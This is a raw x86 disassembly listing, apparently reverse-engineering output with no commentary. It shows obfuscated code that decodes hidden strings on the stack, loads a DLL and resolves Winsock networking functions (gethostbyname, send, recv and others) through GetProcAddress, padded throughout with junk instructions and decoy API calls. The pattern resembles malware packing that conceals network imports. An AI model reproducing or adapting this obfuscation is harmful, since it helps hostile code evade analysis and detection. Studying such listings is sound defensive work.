sub dword [esp], 0xa0cbffff
push eax
mov dword [esp], 0x23c6568
push ecx
mov ecx, esp
add ecx, 4
add dword [ecx], 0x6637ffff
pop ecx
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov esp, esi
mov edi, sub.wsock32.dll_gethostbyname
pushfd
push ebx
ror ebx, 3
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
faddp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
mov edi, dword [edi + 2]
stosd dword es:[edi], eax
push 0
push eax
mov dword [esp], 0xabf46574
add dword [esp], 0xb879ffff
pushfd
push ecx
sar ecx, 0x13
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
paddsb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push ecx
shl ecx, 0x14
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ecx
push edx
pushfd
cmove ecx, edx
popfd
pop edx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov esp, esi
mov edi, sub.wsock32.dll_send
pushfd
push edx
btr edx, 0xb
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push ecx
setae cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
mov edi, dword [edi + 2]
stosd dword es:[edi], eax
push 0
push 0x4a296571
sub dword [esp], 0xd3c5ffff
pushfd
push edx
btc edx, 0x1e
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push eax
push esi
pushfd
cmovge eax, esi
popfd
pop esi
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push ebx
bts ebx, 0xe
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40e27f
mov esp, esi
pushfd
push ebx
bts ebx, 0x1e
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ebx
push esi
pushfd
cmovl ebx, esi
popfd
pop esi
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov edi, sub.wsock32.dll_recv
pushfd
push esi
btc esi, 0x16
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
punpckhbw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov edi, dword [edi + 2]
stosd dword es:[edi], eax
pushfd
push ebx
sar ebx, 9
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40e2f4
push 0xa0ddffff
mov dword [esp], 0xa0a99a94
xor dword [esp], 0xa0ddffff
push 0xe81dffff
mov dword [esp], 0x8b728c9a
xor dword [esp], 0xe81dffff
pushfd
push eax
sar eax, 0x1a
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
fsincos
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push eax
mov dword [esp], 0xe9016c64
push eax
mov eax, esp
add eax, 4
add dword [eax], 0x8a6dffff
pop eax
pushfd
push eax
rol eax, 0x1e
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push ecx
sete cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push esi
rcl esi, 0x14
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
punpckhwd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov esp, esi
mov edi, sub.wsock32.dll_closesocket
mov edi, dword [edi + 2]
stosd dword es:[edi], eax
push 0x92da746f
sub dword [esp], 0x92d9ffff
push edx
mov dword [esp], 0xd16d6370
add dword [esp], 0x9dfdffff
push 0x893a6572
sub dword [esp], 0x15c5ffff
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov esp, esi
pushfd
push ebx
sar ebx, 0xd
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
fprem1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
pop edx
mov edi, sub.wsock32.dll_setsockopt
mov edi, dword [edi + 2]
stosd dword es:[edi], eax
push 0
pushfd
push esi
bt esi, 0xd
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
paddd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push esi
mov dword [esp], 0xd7096f65
add dword [esp], 0x976dffff
push eax
mov dword [esp], 0xf5bf6874
push esi
mov esi, esp
add esi, 4
add dword [esi], 0x7eb5ffff
pop esi
pushfd
push ecx
shl ecx, 0x1d
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
paddusw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov esp, esi
pushfd
push esi
sar esi, 2
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40e474
mov edi, sub.wsock32.dll_shutdown
pushfd
push esi
bts esi, 7
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
paddsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov edi, dword [edi + 2]
stosd dword es:[edi], eax
push 0x87ae006b
sub dword [esp], 0x87adffff
push 0x6c642e32
pushfd
push ebx
sar ebx, 0x13
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
fsincos
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 0xd68d6466
sub dword [esp], 0xa323ffff
push esp
call sub.KERNEL32.DLL_LoadLibraryA
pushfd
push esi
ror esi, 5
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40e501
mov esp, esi
popal
ret